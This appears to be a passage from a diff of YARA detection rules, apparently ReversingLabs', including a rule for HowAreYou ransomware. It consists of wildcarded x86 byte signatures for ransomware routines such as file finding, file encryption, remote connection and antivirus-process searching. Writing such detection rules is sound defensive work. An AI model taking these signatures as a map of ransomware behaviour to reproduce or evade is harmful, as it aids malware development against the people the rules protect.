+            6A ?? 8D 45 ?? 50 A1 ?? ?? ?? ?? 2B C6 56 03 C1 50 57 FF 15 ?? ?? ?? ?? 2B 75 ?? 74
+            ?? 8B 8D ?? ?? ?? ?? EB ?? 57 FF 15 ?? ?? ?? ?? C6 45 ?? ?? 33 C0 8B 9D ?? ?? ?? ??
+            BA ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? 83 CB ?? 8B 45 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ??
+            89 95 ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 8D 48 ?? 3B CA 76 ?? C6 85 ?? ?? ?? ?? ?? FF B5
+            ?? ?? ?? ?? 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 8B 95 ?? ?? ?? ?? C7 85 ??
+            ?? ?? ?? ?? ?? ?? ?? 83 7D ?? ?? 8D 4D ?? 0F 43 4D ?? 3B C2 77 ?? 8D 34 00 89 85 ??
+            ?? ?? ?? 83 FA ?? 8D BD ?? ?? ?? ?? 56 0F 43 BD ?? ?? ?? ?? 51 57 E8 ?? ?? ?? ?? 83
+            C4 ?? 33 C0 66 89 04 37 EB ?? 50 51 C6 85 ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? FF B5 ??
+            ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B C2 8B 8D ?? ?? ?? ?? 2B C1 83 F8 ??
+            72 ?? 83 FA ?? 8D B5 ?? ?? ?? ?? 6A ?? 0F 43 B5 ?? ?? ?? ?? 8D 79 ?? 68 ?? ?? ?? ??
+            89 BD ?? ?? ?? ?? 8D 04 4E 50 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 66 89 04 7E EB ?? 6A ??
+            68 ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 6A ?? E8 ??
+            ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8D 45 ?? 0F 43 8D ?? ?? ?? ?? 83 7D
+            ?? ?? 51 0F 43 45 ?? 50 FF 15
         }
-		$find_files = {
-            55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 89 55 ?? 8B F9 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ??
-            ?? ?? 8B CF E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 FF 15 ?? ?? ??
-            ?? 68 ?? ?? ?? ?? 57 8D 1C 47 89 5D ?? FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 57 FF
-            15 ?? ?? ?? ?? 8B F0 33 C0 89 75 ?? 66 89 03 83 FE ?? 75 ?? B8 ?? ?? ?? ?? E9 ?? ??
-            ?? ?? 8B 5D ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ??
-            ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8D 85 ??
-            ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? F6 85 ?? ?? ?? ?? ?? 74 ?? 68 ?? ?? ?? ?? 57 FF 15
-            ?? ?? ?? ?? 8B 55 ?? 8B CF 53 FF 75 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? EB ?? FF 75
-            ?? 8B 03 8D 95 ?? ?? ?? ?? 8B 73 ?? 51 8B CF 89 45 ?? E8 ?? ?? ?? ?? 01 03 59 11 53
-            ?? 59 3B 73 ?? 77 ?? 72 ?? 8B 45 ?? 3B 03 73 ?? 8B 45 ?? FF 00 8B 75 ?? 8B 45 ?? 33
-            C9 66 89 08 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 56 FF
-            15 ?? ?? ?? ?? 33 C0 5F 5E 5B 8B E5 5D C3
+
+	condition:
+		uint16(0)==0x5A4D and ( all of ($find_files_p*)) and ( all of ($encrypt_files_p*))
+}
+rule REVERSINGLABS_Win32_Ransomware_Howareyou : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects HowAreYou ransomware."
+		author = "ReversingLabs"
+		id = "998fbebe-099d-5779-ad4a-91b7b6c8ad6b"
+		date = "2021-06-14"
+		modified = "2021-06-14"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.HowAreYou.yara#L1-L205"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "90568365aac61d120886f9efa9822ccc23df79a1a55e522c81db6e77477c4f04"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "HowAreYou"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$remote_connection_p1 = {
+            64 8B 0D ?? ?? ?? ?? 8B 89 ?? ?? ?? ?? 3B 61 ?? 0F 86 ?? ?? ?? ?? 83 EC ?? 8B 05 ??
+            ?? ?? ?? C7 40 ?? ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 85 C9 0F 85 ?? ?? ?? ?? 8D 0D ?? ??
+            ?? ?? 89 08 8B 05 ?? ?? ?? ?? 8D 0D ?? ?? ?? ?? 89 0C 24 89 44 24 ?? E8 ?? ?? ?? ??
+            8B 44 24 ?? 8B 4C 24 ?? 8B 54 24 ?? 8B 5C 24 ?? 8B 6C 24 ?? 85 C9 74 ?? 74 ?? 8B 49
+            ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 4C 24 ?? 89 44 24 ?? 8D 44 24
+            ?? 89 04 24 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 E8 ??
+            ?? ?? ?? 83 C4 ?? C3 89 54 24 ?? 89 5C 24 ?? 89 6C 24 ?? 8D 05 ?? ?? ?? ?? 89 04 24
+            C7 44 24 ?? ?? ?? ?? ?? 8B 05 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 89 4C 24 ?? 89 44 24 ??
+            E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 8B 54 24 ?? 8B 5C 24 ?? 85 D2 74 ?? 74 ?? 8B
+            4A ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 4C 24 ?? 89 44 24 ?? 8D 05
+            ?? ?? ?? ?? 89 04 24 C7 44 24 ?? ?? ?? ?? ?? 8D 44 24 ?? 89 44 24 ?? C7 44 24 ?? ??
+            ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 E8 ?? ?? ?? ?? 83 C4 ?? C3 89 D1
         }
-		$find_files_v2 = {
-            55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 89 55 ?? 8B F9 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ??
-            ?? ?? 8B CF E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 FF 15 ?? ?? ??
-            ?? 8B 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 8D 1C 47 89 5D ?? FF D6 8D 85 ?? ?? ?? ?? 50
-            57 FF 15 ?? ?? ?? ?? 33 C9 89 45 ?? 66 89 0B 83 F8 ?? 75 ?? B8 ?? ?? ?? ?? 5F 5E 5B
-            8B E5 5D C3 8B 5D ?? EB ?? 8D A4 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50
-            FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15
-            ?? ?? ?? ?? 85 C0 74 ?? 8D 85 ?? ?? ?? ?? 50 57 FF D6 F6 85 ?? ?? ?? ?? ?? 74 ?? 68
-            ?? ?? ?? ?? 57 FF D6 8B 55 ?? 8B CF 53 FF 75 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? EB
-            ?? FF 75 ?? 8B 03 8D 95 ?? ?? ?? ?? 8B 73 ?? 51 8B CF 89 45 ?? E8 ?? ?? ?? ?? 83 C4
-            ?? 01 03 11 53 ?? 3B 73 ?? 77 ?? 72 ?? 8B 45 ?? 3B 03 73 ?? 8B 45 ?? FF 00 8B 35 ??
-            ?? ?? ?? 8B 45 ?? 33 C9 66 89 08 8D 85 ?? ?? ?? ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 85
-            C0 0F 85 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 5F 5E 33 C0 5B 8B E5 5D C3
+		$remote_connection_p2 = {
+            EB ?? 89 4C 24 ?? 89 5C 24 ?? 84 03 89 4C 24 ?? C7 04 24 ?? ?? ?? ?? 8D 43 ?? 89 44
+            24 ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 44 24 ?? 8B 48 ?? 8B 54 24 ?? 89 54
+            24 ?? 8B 54 24 ?? 89 54 24 ?? 8B 54 24 ?? 89 54 24 ?? 8B 54 24 ?? 89 14 24 FF D1 8B
+            44 24 ?? 8B 4C 24 ?? 85 C0 74 ?? 74 ?? 8B 40 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ??
+            ?? ?? ?? ?? 89 44 24 ?? 89 4C 24 ?? 8D 05 ?? ?? ?? ?? 89 04 24 C7 44 24 ?? ?? ?? ??
+            ?? 8D 44 24 ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 90 E8 ?? ?? ?? ?? 83 C4 ?? C3 8D 05 ?? ?? ?? ?? 89 04 24 C7 44 24 ?? ?? ?? ??
+            ?? C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 8B 54 24 ?? 8B 5C
+            24 ?? 8B 5B ?? 89 44 24 ?? 89 4C 24 ?? 89 54 24 ?? 8B 44 24 ?? 89 04 24 FF D3 90 E8
+            ?? ?? ?? ?? 83 C4 ?? C3 90 E8 ?? ?? ?? ?? 83 C4 ?? C3 89 04 24 8D 05 ?? ?? ?? ?? 89
+            44 24 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9
         }
-		$search_antivirus_processes = {
-            55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 B8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 6A
-            ?? 6A ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89 85 ?? ?? ??
-            ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ??
-            ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 45 ?? ?? ??
-            ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ??
-            ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ??
-            ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ??
-            ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ??
-            ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ??
-            ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45
-            ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45
-            ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? BB ?? ?? ?? ?? 8B F8 53 6A ??
-            89 7D ?? FF 15 ?? ?? ?? ?? 8B F0 85 F6 74 ?? 89 1E 83 FF ?? 74 ?? 56 57 FF 15 ?? ??
-            ?? ?? 33 DB 8D 7E ?? 57 FF B4 9D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 76 ??
-            50 6A ?? FF 15 ?? ?? ?? ?? 89 45 ?? 85 C0 74 ?? 6A ?? 50 FF 15 ?? ?? ?? ?? FF 75 ??
-            FF 15 ?? ?? ?? ?? 43 83 FB ?? 72 ?? 8B 7D ?? 56 57 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 85
-            F6 74 ?? 68 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 5F 5E 5B 8B E5
-            5D C3
+		$find_files_p1 = {
+            64 8B 0D ?? ?? ?? ?? 8B 89 ?? ?? ?? ?? 8D 44 24 ?? 3B 41 ?? 0F 86 ?? ?? ?? ?? 81 EC
+            ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 89 04 24 8B 8C 24 ?? ?? ?? ?? 89 4C 24 ?? E8 ?? ??
+            ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 8B 54 24 ?? 8B 5C 24 ?? 85 C9 0F 85 ?? ?? ?? ?? 89 54
+            24 ?? 89 9C 24 ?? ?? ?? ?? 31 C0 31 C9 31 ED 31 F6 EB ?? 8B 7C 24 ?? 47 8B 9C 24 ??
+            ?? ?? ?? 89 CD 89 C6 89 F8 89 D1 8B 54 24 ?? 39 D0 0F 8D ?? ?? ?? ?? 89 44 24 ?? 89
+            4C 24 ?? 89 AC 24 ?? ?? ?? ?? 89 74 24 ?? 8D 0C C3 8B 11 89 94 24 ?? ?? ?? ?? 8B 49
+            ?? 89 8C 24 ?? ?? ?? ?? 8B 6A ?? 89 0C 24 FF D5 0F B6 44 24 ?? 84 C0 0F 84 ?? ?? ??
+            ?? 8B 84 24 ?? ?? ?? ?? 8B 40 ?? 8B 8C 24 ?? ?? ?? ?? 89 0C 24 FF D0 8B 44 24 ?? 8B
+            4C 24 ?? 89 0C 24 89 44 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 85 C0 0F 86 ??
+            ?? ?? ?? 0F B6 11 80 FA ?? 75 ?? 8B 44 24 ?? 8B 8C 24 ?? ?? ?? ?? 8B 54 24 ?? E9 ??
+            ?? ?? ?? 80 FA ?? 74 ?? 89 44 24 ?? 89 8C 24 ?? ?? ?? ?? 89 0C 24 89 44 24 ?? 8B 15
+            ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 8B 2D ?? ?? ?? ?? 89 6C 24 ?? 89 5C 24 ?? 89 54 24 ??
+            E8 ?? ?? ?? ?? 0F B6 44 24 ?? 84 C0 74 ?? 8B 44 24 ?? 8B 8C 24 ?? ?? ?? ?? 8B 54 24
+            ?? E9 ?? ?? ?? ?? 8B 44 24 ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 8B 11
         }
-		$search_antivirus_processes_v2 = {
-            C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ??
-            ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ??
-            C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ??
-            ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ??
-            C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ??
-            ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ??
-            C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ??
-            ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ??
-            ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ??
-            C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ??
-            ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7
-            84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ??
-            ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ??
-            68 ?? ?? ?? ?? 8B F0 6A ?? 89 74 24 ?? FF 15 ?? ?? ?? ?? 8B D8 85 DB 74 ?? C7 03 ??
-            ?? ?? ?? 83 FE ?? 74 ?? 53 56 FF 15 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 8D 4B ?? 33 F6 EB
-            ?? 8D A4 24 ?? ?? ?? ?? 90 51 FF 74 B4 ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 73 ?? 50
-            6A ?? FF 15 ?? ?? ?? ?? 8B F8 85 FF 74 ?? 6A ?? 57 FF 15 ?? ?? ?? ?? 57 8B 3D ?? ??
-            ?? ?? FF D7 EB ?? 8B 3D ?? ?? ?? ?? 46 8D 4B ?? 83 FE ?? 72 ?? 8B 74 24 ?? 53 56 FF
-            15 ?? ?? ?? ?? 8D 4B ?? 85 C0 75 ?? 85 DB 74 ?? 68 ?? ?? ?? ?? 6A ?? 53 FF 15 ?? ??
-            ?? ?? 56 FF D7 5F 5E 5B 8B E5 5D C3
+		$find_files_p2 = {
+            81 FA ?? ?? ?? ?? 75 ?? 0F B7 51 ?? 66 81 FA ?? ?? 75 ?? 0F B6 51 ?? 80 FA ?? 0F 84
+            ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? 8B 94 24 ?? ?? ?? ?? 89 54 24 ?? 8B 9C 24 ?? ?? ??
+            ?? 89 5C 24 ?? 8D 2D ?? ?? ?? ?? 89 6C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 4C 24 ?? 89
+            44 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 89 04 24 89 4C 24 ?? E8 ?? ?? ?? ??
+            8B 44 24 ?? 8D 48 ?? 8B 54 24 ?? 8B 5C 24 ?? 8B 6C 24 ?? 39 E9 7F ?? 8B B4 24 ?? ??
+            ?? ?? 8D 7C C6 ?? 89 1F 8D 04 C6 8B 1D ?? ?? ?? ?? 85 DB 75 ?? 89 10 89 E8 89 CA 89
+            F1 E9 ?? ?? ?? ?? 89 B4 24 ?? ?? ?? ?? 89 4C 24 ?? 89 6C 24 ?? 89 04 24 89 54 24 ??
+            E8 ?? ?? ?? ?? 8B 4C 24 ?? 8B 6C 24 ?? 8B B4 24 ?? ?? ?? ?? EB ?? 89 94 24 ?? ?? ??
+            ?? 89 5C 24 ?? 8D 15 ?? ?? ?? ?? 89 14 24 8B 9C 24 ?? ?? ?? ?? 89 5C 24 ?? 89 44 24
+            ?? 89 6C 24 ?? 89 4C 24 ?? E8 ?? ?? ?? ?? 8B 74 24 ?? 8B 44 24 ?? 8B 6C 24 ?? 8D 48
+            ?? 8B 44 24 ?? 8B 94 24 ?? ?? ?? ?? 8B 5C 24 ?? E9 ?? ?? ?? ?? 8D 54 24 ?? 89 14 24
+            8B 94 24 ?? ?? ?? ?? 89 54 24 ?? 8B 9C 24 ?? ?? ?? ?? 89 5C 24 ?? 8D 2D ?? ?? ?? ??
+            89 6C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 4C 24 ?? 89 44 24 ?? E8 ?? ?? ?? ?? 8B 44 24
+            ?? 8B 4C 24 ?? 89 0C 24 89 44 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 8C 24 ?? ?? ?? ??
+            E9 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 8B 40 ?? 8B
         }
-		$find_files_v2_1 = {
-            6A ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 6A ?? FF 15 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 85 C0 74
-            ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF D3 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ??
-            ?? F7 D8 1B C0 40 75 ?? BA ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 85 C0 75 ?? 8B CE E8 ??
-            ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 8D 3C 46 89 7D ?? FF D3 8D 85 ?? ??
-            ?? ?? 50 56 FF 15 ?? ?? ?? ?? 33 C9 89 45 ?? 66 89 0F 83 F8 ?? 75 ?? B8 ?? ?? ?? ??
-            5F 5E 5B 8B E5 5D C3 8B 7D ?? EB ?? 8D 9B ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ??
-            ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50
-            FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 56 FF D3 F6 85 ?? ??
-            ?? ?? ?? 74 ?? 83 7D ?? ?? 74 ?? BA ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 85 C0 0F 84 ??
-            ?? ?? ?? 68 ?? ?? ?? ?? 56 FF D3 8B 55 ?? 8B CE 6A ?? 57 FF 75 ?? FF 75 ?? E8 ?? ??
-            ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 FF D3 8B 55 ?? 8B CE 6A ?? 57 FF 75
-            ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 8B 07 6A ?? 68 ?? ?? ?? ?? 68 ??
-            ?? ?? ?? 89 45 ?? 8B 47 ?? 6A ?? 89 45 ?? FF 15 ?? ?? ?? ?? 56 8B D8 68 ?? ?? ?? ??
-            53 FF 15 ?? ?? ?? ?? 83 C4 ?? 8B CB E8 ?? ?? ?? ?? 85 C0 74 ?? 68 ?? ?? ?? ?? 6A ??
-            53 FF 15 ?? ?? ?? ?? 0F 57 C0 66 0F 13 45 ?? 8B 45 ?? 8B 4D ?? EB ?? 83 BD ?? ?? ??
-            ?? ?? 0F 57 C0 66 0F 13 45 ?? 72 ?? 51 FF 75 ?? 8B CB E8 ?? ?? ?? ?? 83 C4 ?? 89 55
-            ?? EB ?? 8B 45 ?? 89 45 ?? 8B 45 ?? 68 ?? ?? ?? ?? 6A ?? 53 89 45 ?? FF 15 ?? ?? ??
-            ?? 8B 45 ?? 8B 4D ?? 01 0F 11 47 ?? 8B 45 ?? 3B 47 ?? 77 ?? 72 ?? 8B 45 ?? 3B 07 73
-            ?? 8B 45 ?? FF 00 8B 1D ?? ?? ?? ?? 8B 45 ?? 33 C9 66 89 08 8D 85 ?? ?? ?? ?? 50 FF
-            75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 5F 5E 33
-            C0 5B 8B E5 5D C3
+		$find_files_p3 = {
+            8C 24 ?? ?? ?? ?? 89 0C 24 FF D0 8B 44 24 ?? 8B 4C 24 ?? 89 0C 24 89 44 24 ?? E8 ??
+            ?? ?? ?? 8B 44 24 ?? 89 44 24 ?? 8B 4C 24 ?? 89 4C 24 ?? 89 04 24 89 4C 24 ?? 8B 15
+            ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 8B 2D ?? ?? ?? ?? 89 6C 24 ?? 89 5C 24 ?? 89 54 24 ??
+            E8 ?? ?? ?? ?? 0F B6 44 24 ?? 84 C0 74 ?? 8B 44 24 ?? 8B 8C 24 ?? ?? ?? ?? 8B 54 24
+            ?? E9 ?? ?? ?? ?? 8B 44 24 ?? 89 04 24 8B 4C 24 ?? 89 4C 24 ?? E8 ?? ?? ?? ?? 8B 44
+            24 ?? 89 84 24 ?? ?? ?? ?? 8B 4C 24 ?? 89 4C 24 ?? C7 04 24 ?? ?? ?? ?? 8B 94 24 ??
+            ?? ?? ?? 89 54 24 ?? 8B 9C 24 ?? ?? ?? ?? 89 5C 24 ?? 8D 2D ?? ?? ?? ?? 89 6C 24 ??
+            C7 44 24 ?? ?? ?? ?? ?? 8B 74 24 ?? 89 74 24 ?? 8B 74 24 ?? 89 74 24 ?? E8 ?? ?? ??
+            ?? 8B 44 24 ?? 89 44 24 ?? 8B 4C 24 ?? 89 4C 24 ?? 8B 94 24 ?? ?? ?? ?? 89 14 24 8B
+            5C 24 ?? 89 5C 24 ?? 8B 2D ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 89 6C 24
+            ?? 89 74 24 ?? 89 7C 24 ?? E8 ?? ?? ?? ?? 0F B6 44 24 ?? 84 C0 0F 84 ?? ?? ?? ?? 8B
+            84 24 ?? ?? ?? ?? 85 C0 0F 86 ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 0F B6 08 83 C1 ?? 88
+            4C 24 ?? 0F B6 08 83 C1 ?? 88 4C 24 ?? 8D 0D ?? ?? ?? ?? 89 0C 24 8B 15 ?? ?? ?? ??
+            89 54 24 ?? 8D 54 24 ?? 89 54 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 48 ?? 8D 51 ?? 8B
+            18 8B 40 ?? 39 C2 0F 8F ?? ?? ?? ?? 89 9C 24 ?? ?? ?? ?? 89 54 24 ?? 89 44 24 ?? 8D
         }
-		$crypt_files_v2_1 = {
-            FF 15 ?? ?? ?? ?? 33 D2 89 44 24 ?? 89 44 24 ?? 8D 0C B7 8D 0C CD ?? ?? ?? ?? 85 C0
-            74 ?? 3B CB 73 ?? 8D 3C 01 89 44 24 ?? 89 7C 24 ?? 8B D1 EB ?? 89 54 24 ?? 8B F8 8B
-            4D ?? 8D 34 CD ?? ?? ?? ?? 85 C0 74 ?? 8D 0C 32 89 4C 24 ?? 3B CB 73 ?? 8B 54 24 ??
-            8B CF 89 7C 24 ?? 03 FE 89 7C 24 ?? EB ?? 33 C9 89 4C 24 ?? 8B 74 24 ?? 85 C0 74 ??
-            8D 04 F5 ?? ?? ?? ?? 03 C2 3B C3 72 ?? 33 FF 89 7C 24 ?? 8B 1D ?? ?? ?? ?? 85 C9 0F
-            84 ?? ?? ?? ?? 8B 55 ?? 8B 1D ?? ?? ?? ?? 8D 04 12 89 44 24 ?? 8D 44 24 ?? 50 51 68
-            ?? ?? ?? ?? 52 FF 75 ?? FF D3 8D 04 36 89 44 24 ?? 8D 44 24 ?? 50 57 68 ?? ?? ?? ??
-            56 FF 74 24 ?? FF D3 8B 1D ?? ?? ?? ?? 57 FF D3 FF 74 24 ?? 8B F0 FF D3 6A ?? 83 C6
-            ?? 03 C6 68 ?? ?? ?? ?? 50 6A ?? 89 44 24 ?? FF 15 ?? ?? ?? ?? FF 74 24 ?? 8B F0 C7
-            44 24 ?? ?? ?? ?? ?? 89 74 24 ?? 89 74 24 ?? FF D3 40 85 F6 74 ?? 3B 44 24 ?? 73 ??
-            8D 0C 06 89 44 24 ?? 89 4C 24 ?? 89 74 24 ?? EB ?? C7 44 24 ?? ?? ?? ?? ?? 57 FF D3
-            40 85 F6 74 ?? 03 44 24 ?? 3B 44 24 ?? 72 ?? C7 44 24 ?? ?? ?? ?? ?? FF 74 24 ?? 33
-            F6 FF D3 85 C0 74 ?? 8B 4C 24 ?? 8B 7C 24 ?? 89 4C 24 ?? 8A 04 3E 3C ?? 74 ?? 3C ??
-            74 ?? 88 01 41 89 4C 24 ?? 57 46 FF D3 8B 4C 24 ?? 3B F0 72 ?? 8B 7C 24 ?? 57 33 F6
-            FF D3 85 C0 74 ?? 8B 4C 24 ?? 89 4C 24 ?? EB ?? 8D 49 ?? 8A 04 3E 3C ?? 74 ?? 3C ??
-            74 ?? 88 01 41 89 4C 24 ?? 57 46 FF D3 8B 4C 24 ?? 3B F0 72 ?? 8B 74 24 ?? 8B 1D ??
